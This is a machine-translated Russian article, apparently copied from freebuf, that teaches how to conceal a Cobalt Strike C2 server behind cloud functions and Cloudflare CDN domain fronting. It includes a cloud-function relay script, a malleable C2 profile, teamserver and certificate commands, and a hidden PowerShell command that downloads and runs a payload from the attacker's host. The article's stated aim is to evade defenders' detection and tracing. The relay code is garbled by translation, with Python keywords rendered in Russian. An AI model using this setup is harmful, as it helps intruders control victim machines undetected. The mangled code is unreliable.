Шифрование трафика C2 Скрыто
Шифрование трафика C2 Скрыто

Автор: Temac0x01

Адрес статьи: https://www.freebuf.com/articles/network/330713.html.

Cobalt Strike (далее CS) — это инструмент проникновения в инфраструктуру, который может имитировать проникновение APT во внутреннюю сеть в наступательных и оборонительных противостояниях. В то же время он также объединяет переадресацию портов, сканирование многорежимного прослушивателя портов, генерацию exe-программ Windows, генерацию динамически подключаемой библиотеки Windows dll, генерацию Java-программ, генерацию офисного макроса и даже клонирование сайтов для получения информации о браузере. Как артефакт в области сетевой безопасности, коммуникационный трафик CS теперь может быть идентифицирован и обнаружен зрелыми IDS и IPS. Как только защитники обнаружат трафик CS или проследят его источник до IP-адреса сервера CS, проникновение и вторжение могут оказаться напрасными. Поэтому нам необходимо зашифровать трафик, чтобы защитить сервер CS от обнаружения системой мониторинга безопасности защитника или даже от отслеживания источника нашего сервера CS. В настоящее время обычно используемые методы сокрытия включают фронтирование домена, CDN, облачные функции и т. д. Далее. Я представлю эти распространенные методы, как скрыть C2.

0x01 Функция облака

Введение в облачные функции

Бессерверная облачная функция (SCF) — это в основном бессерверная среда выполнения, предоставляемая предприятиям и разработчикам, которая может запускать код без покупки серверов и управления ими. Разработчикам нужно только написать основной код на языках, поддерживаемых платформой, и задать условия для запуска кода, чтобы они могли гибко и безопасно запускать код в облачной инфраструктуре.

Мы можем очень хорошо спрятаться, используя Cloud Function, главным образом потому, что Cloud Function использует режим развертывания с несколькими местоположениями, и каждый запрос будет переключаться на другой IP-адрес, хотя доменное имя доступа по умолчанию все равно будет получено защитником, как правило,. защитник Наша личная информация не может быть получена напрямую из Tencent Cloud согласно API. Поэтому мы можем скрыть CS-сервер через характеристики облачных функций.

Создайте облачную функцию

Создайте пользовательскую функцию облака в определенном облаке и задайте имя функции. Конкретные настройки следующие:

Напишите в нем серверный скрипт облачной функции

Язык кода:javascript
копировать
# coding: utf8
import json,requests,base64
def main_handler(event, context):
    response = {}
    path = None
    headers = None
    try:
        # По вашим словам облачный серверизадрес Исправлять
        C2='http://x.x.x.x:80'
        если 'путь' в event.keys():
            путь = событие ['путь']
        если 'заголовки' в event.keys():    
            заголовки = событие['заголовки']
        if 'httpMethod' в event.keys() и event['httpMethod'] == 'GET' :
            resp=requests.get(C2+path,headers=headers,verify=False) 
        еще:
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
            печать (соответственно заголовки)
            печать (соответственно содержимое)
        ответ={
            "isBase64Encoded": Верно,
            "statusCode": соответственно.status_code,
            "заголовки": dict(соответственно.headers),
            "body": str(base64.b64encode(resp.content))[2:-1]
        }
    кроме Исключения как e:
        печать('ошибка')
        распечатать(е)
    окончательно:
        обратный ответ

Скриншот 23.12.2021, 3.00.27 утра

Настройка выбора триггератриггер шлюза API,Другие настройки следующие:

редактировать API и Исправлять Путь/,Исправлять Опубликовать услугу после завершения

Тест сервера C2

Настройте гибкий C2 на сервере CS для сокрытия трафика. гибкий C2 в основном имитирует обычный коммуникационный трафик, изменяя файл конфигурации C2 и изменяя свойства и поведение полезной нагрузки маяка.

Язык кода:javascript
копировать
set sample_name "func";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

После создания назовите егоapi.profileи通过 teamserver Запустить сервер

Язык кода:javascript
копировать
./teamserver x.x.x.x xxx api.profile

C2 онлайн

Мы можем найти адрес доступа к API по умолчанию в службе облачных функций. Следует отметить, что этот адрес является ключом к использованию облачной функции.

существоватьCSСоздание клиентаслушательcs_hidden,将返回адрес设置для默认API访问адресservice-xxxx-xxx.xx.xx.tencentcs.com

генерировать相应木马и设置слушатель Просто создан дляизcs_hidden

После выполнения CS может успешно находиться в сети. Если адрес внешней сети постоянно меняется, это означает, что функция облака успешно используется.

В журнале облачной функции мы можем проследить, что запрос был успешно вызван.

Попробуйте поместить трояна в песочницу Weibu Cloud для обнаружения. Вы можете обнаружить, что на нашей CS появился другой хост.

В песочнице Weibu Cloud вы можете ясно видеть, что запрошенное доменное имя — это доменное имя Tencent Cloud, а IP-адрес — это сервер IDC Tencent Cloud, а не реальный IP-адрес нашего сервера CS, что указывает на то, что сервер CS был успешно скрыт.

0x02 CDN, префикс домена

Знакомство с доменным префиксом

Domain Fronting — это общая технология уклонения, основанная на https, также известная как технология доменной внешней сети. Это метод, используемый для сокрытия контроля над трафиком сервера такими командами, как Metasploit и Cobalt Strike, тем самым в определенной степени обходя проверки. Или технология обнаружения брандмауэра. Как правило, крупные производители, такие как Amazon, Google, Akamai и т. д., предоставляют технологические услуги переднего плана домена.

Подобно облачным функциям, технология фронтирования домена в основном перенаправляет трафик на реальный сервер C2 через узлы CDN. IP-адрес узла CDN может пересылать трафик, определяя заголовок хоста запроса. можно эффективно избегать мониторинга трафика для DLP, агентов и т. д.

Введение в CDN

Основой доменного фронтинга является CDN. Его принцип работы заключается в том, что один IP-адрес может быть связан с разными доменными именами для ускорения веб-сайта. Например, есть два доменных имени: www.a.com и www.b.com. Оба они указывают на один и тот же IP-адрес. Этот IP-адрес на самом деле является сервером CDN. Итак, когда мы используем браузер для доступа к этим двум доменным именам, как мы можем гарантировать, что целью доступа является указанное содержимое веб-сайта? Мы можем добавить доменное имя, к которому необходимо получить доступ, в заголовок запроса хоста в пакете HTTP-запроса, чтобы найти веб-сайт, к которому необходимо получить доступ.

Если вы все еще не поняли, мы можем продемонстрировать это на реальных кейсах.,который предполагает1.1.1.1для CDN сервер, www.a.comиwww.b.comдля该服务器上издоменное имя, эти два доменное имя все привязаны к CDN ускориться.

Первое использование curl запрос командыwww.a.com,Информация о целевом сайте успешно возвращена.

Язык кода:javascript
копировать
curl www.a.com -v 

Скриншот 12.04.2022 49.04.45

Итак, что произойдет дальше, когда вы попытаетесь запросить сервер CDN? Результат возвращает 403

Язык кода:javascript
копировать
curl 1.1.1.1 -v

Скриншот 12.04.2022 53.04.15

Но нам просто нужно добавить Host Откройте доступwww.a.comизсодержание

Язык кода:javascript
копировать
curl 1.1.1.1 -H "Host: www.a.com" -v

Скриншот 12.04.2022 53.04.49

Настройка среды

Для сборки среды мы можем настроить ее следующим образом. Полный комплект стоит около 6 долларов США.

  • облачный сервер
  • Cobalt Strike 4.3
  • Ускорение Cloudflare CDN
  • доменное имя

Адрес покупки доменного имени: https://porkbun.com

Адрес покупки облачного сервера: https://my.vultr.com

Адрес регистрации CDN: https://www.cloudfare.com

Купить сервер

существоватьvultrЗарегистрируйте аккаунт в,После завершения регистрации я выбираю PayPal Привязка, проверка моего аккаунта займет около суток, если конечно нет PayPal Вы также можете использовать Привяжите AliPay и кредитную карту.

После завершения привязки новый аккаунт получит 150 долларов США. Выберите предпочитаемую конфигурацию и разверните облако. IP-адрес — 2.2.2.2.

Купить доменное имя

существовать porkbun Зарегистрируйте аккаунт и успешно приобретите наше издоменное имяxxx.xyz

Настроить CDN

существовать Cloudflare Привяжите доменное имя, купленное выше. Результат показывает, что нам необходимо изменить DNS-запись доменного имени.

Измените сервер разрешения доменных имен следующим образом:

Язык кода:javascript
копировать
jake.ns.cloudflare.com
magdalena.ns.cloudflare.com

Скриншот 19.04.2022 03.04.18

После завершения изменения подождите, пока Cloudflare повторит сопоставление, пока не появится следующий интерфейс, указывающий на успешное развертывание CDN.

Добавьте записи разрешения DNS следующим образом. Одновременно мы также

Язык кода:javascript
копировать
A c2 2.2.2.2
A xxx.xyz 2.2.2.2

Скриншот 19.04.2022 19.11.15

Проверьте, можно ли проанализировать узел CDN. Успешный анализ означает, что все идет хорошо.

Язык кода:javascript
копировать
curl 172.67.175.223 -H "Host: xxx.xyz" -v

Скриншот 19.04.2022 29.11.56

существовать Cloudflare Открыть через SSL И установите режим шифрования SSL/TLS на полный

Создайте сертификат SSL/TLS, конкретная конфигурация следующая.

После нажатия кнопки «Создать» можно успешно сгенерировать соответствующий исходный сертификат и закрытый ключ.

Тест сервера C2

существоватьоблачный Настройка на сервере malleable C2 Для настройки сертификата используйте openssl 利用CDNизSSL/TLSИсходный сертификатизакрытый ключгенерироватьPFXдокументspoofdomain.p12

Язык кода:javascript
копировать
openssl pkcs12 -export -in cloudflare.pem -inkey cloudflare.key -out spoofdomain.p12 -name c2.maccc.xyz -passout pass:macmacmac

Keytool — инструмент управления сертификатами данных Java.,использоватьэто будет выше ключаи СертификатгенерироватьизPFXдокумент存существоватьkeystoreдокументnew.storeсреди

Язык кода:javascript
копировать
keytool -importkeystore -deststorepass macmacmac -destkeypass macmacmac -destkeystore new.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass macmacmac -alias c2.xxx.xyz

Скриншот 20.04.2022 16.38.13

Адрес загрузки инструмента: https://github.com/FortyNorthSecurity/C2concealer.

C2concealer — это инструмент командной строки, который случайным образом генерирует гибкие профили C2, используемые CS. Если он не установлен, вы можете использовать следующую команду для его установки.

Язык кода:javascript
копировать
chmod u+x install.sh
./install.sh

Скриншот 20.04.2022 16.46.02

Используйте C2concealer для создания файлов конфигурации CS.

Язык кода:javascript
копировать
C2concealer --variant 1 --hostname c2.xxx.xyz
# Выберите шаги
1.3
2./root/CS4.3/new.store
3. Введите пароль учетной записи.

Скриншот 20.04.2022 16.49.25

Успешно сгенерировано имя файла со случайным номером. CS файл конфигурации, скопируйте его в CS 目录下и重命名дляtest.profile

Язык кода:javascript
копировать
cp 56069b6a.profile /root/CS4.3/test.profile
cd /root/CS4.3/
ls

Скриншот 20.04.2022 16.51.58

Используйте c2lint для проверки файла конфигурации

Язык кода:javascript
копировать
chmod +x c2lint
./c2lint test.profile

Скриншот 20.04.2022 16.53.33

Измените конфигурацию командного сервера. Конечно, лучше всего изменить порт 50050 по умолчанию нашего CS на другие порты.

Язык кода:javascript
копировать
vim teamserver
# Конфигурация Исправлять
javax.net.ssl.keyStore=./new.store
-Djavax.net.ssl.keyStorePassword=macmacmac

Скриншот 20.04.2022 17.49.49

запускать teamserver и加载Конфигурациядокументtest.profile

Язык кода:javascript
копировать
./teamserver 2.2.2.2 macmacmac test.profile

C2 онлайн

существовать CS Генерация клиентов https слушатель

Настройте веб-службу с помощью SSL и выберите тип полезной нагрузки как powershell.

Успешно сгенерирована версия полезной нагрузки PowerShell.

Язык кода:javascript
копировать
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://c2.xxx.xyz:443/test'))"

существовать В целевом дроне Может быть успешно запущен после выполнения,В то же время мы можем обнаружить, что внешний адрес продолжает меняться с каждым запросом.,Таким образом, вероятность того, что защитник сможет отследить источник до нашего сервера C2 и IP-адреса, очень мала.

существовать CS Команда успешно выполнена и открыта на хосте-жертве. WireShark Захват пакетов

существовать WireShark Весь зашифрованный TLS трафик и адреса назначения являются случайными узлами CDN, поэтому их нельзя отследить до реального IP-адреса нашего сервера C2.

0x03 Сводка

За этот период мы научимся шифрованию трафика.,Я считаю, что кибератака и защита постоянно меняются.,Точно так же, как CDNсуществовать изначально был разработан для защиты веб-сайтов от реального IP.,Но как злоумышленники мы также можем использовать его для защиты нашего сервера C2; сертификат OpenSSL с использованием RSA также может помочь злоумышленникам шифровать трафик и скрывать сообщения в дополнение к аутентификации.

Справочная статья 1: https://blog.csdn.net/weixin_44604541/article/details/118413649.

Справочная статья 2: https://www.anquanke.com/post/id/243146.

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода